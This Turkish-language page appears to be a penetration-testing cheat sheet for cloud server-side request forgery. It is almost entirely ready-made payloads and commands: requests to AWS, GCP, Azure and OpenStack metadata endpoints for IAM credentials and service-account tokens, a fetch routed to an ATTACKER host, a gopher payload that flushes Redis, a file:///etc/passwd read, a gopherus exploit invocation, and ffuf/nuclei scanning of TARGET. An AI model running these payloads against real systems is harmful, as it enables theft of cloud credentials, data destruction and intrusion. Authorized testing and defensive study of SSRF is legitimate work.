Cloud SSRF
web ssrf
Cloud SSRF sunucunun saldırgan kontrollü URL’ye istek yapmasını suistimal eder. Loopback, metadata ve iç servis erişimi öncelikli etkilerdir.
Metodoloji
Section titled “Metodoloji”-
URL alanını ve protokol desteklerini keşfet.
-
Loopback ve cloud metadata’ya istek doğrula.
-
Bypass (IP encoding, DNS rebinding, redirect) dene.
-
İç servis / credential etkisini kanıtla.
Temel SSRF
Section titled “Temel SSRF”http://127.0.0.1/http://localhost:8080/adminhttp://169.254.169.254/latest/meta-data/ffuf -u 'https://TARGET/fetch?url=FUZZ' -w ssrf-wordlist.txt -mc allcurl -sk 'https://TARGET/fetch?url=http://ATTACKER/'Cloud metadata
Section titled “Cloud metadata”curl -sk 'https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'curl -sk 'https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azurecurl -sk 'https://TARGET/fetch?url=http://169.254.169.254/openstack/latest/meta_data.json'Protocol smuggle
Section titled “Protocol smuggle”gopher://127.0.0.1:6379/_FLUSHALL%0D%0Adict://127.0.0.1:11211/statsfile:///etc/passwdpython3 gopherus.py --exploit redisOperasyon notları
Section titled “Operasyon notları”Cloud SSRF sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html